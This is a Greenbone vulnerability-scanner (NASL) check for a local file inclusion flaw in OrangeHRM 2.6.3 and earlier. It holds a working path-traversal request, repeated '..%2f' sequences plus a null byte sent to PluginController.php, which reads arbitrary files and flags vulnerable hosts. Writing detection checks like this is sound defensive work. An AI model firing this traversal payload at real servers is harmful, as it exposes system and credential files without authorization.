OrangeHRM <= 2.6.3 'PluginController.php' LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:orangehrm:orangehrm";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902367");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-05-11 15:50:14 +0200 (Wed, 11 May 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("OrangeHRM <= 2.6.3 'PluginController.php' LFI Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_orangehrm_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("orangehrm/http/detected");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/17212");
  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/100823/OrangeHRM-2.6.3-Local-File-Inclusion.html");

  script_tag(name:"summary", value:"OrangeHRM is prone to local file inclusion vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Successful exploitation could allow attackers to perform file
  inclusion attacks and read arbitrary files on the affected application.");

  script_tag(name:"affected", value:"OrangeHRM version 2.6.3 and prior.");

  script_tag(name:"insight", value:"The flaw is due to input validation error in
  'plugins/PluginController.php' which fails to validate 'path parameter', which allows attackers to
  read arbitrary files via a ../(dot dot) sequences.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir  = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

files = traversal_files();

foreach file( keys( files ) ) {

  url = dir + "/plugins/PluginController.php?path=" + crap( data:"..%2f", length:3*15 ) + files[file] + "%00";

  if( http_vuln_check( port:port, url:url, pattern:file ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );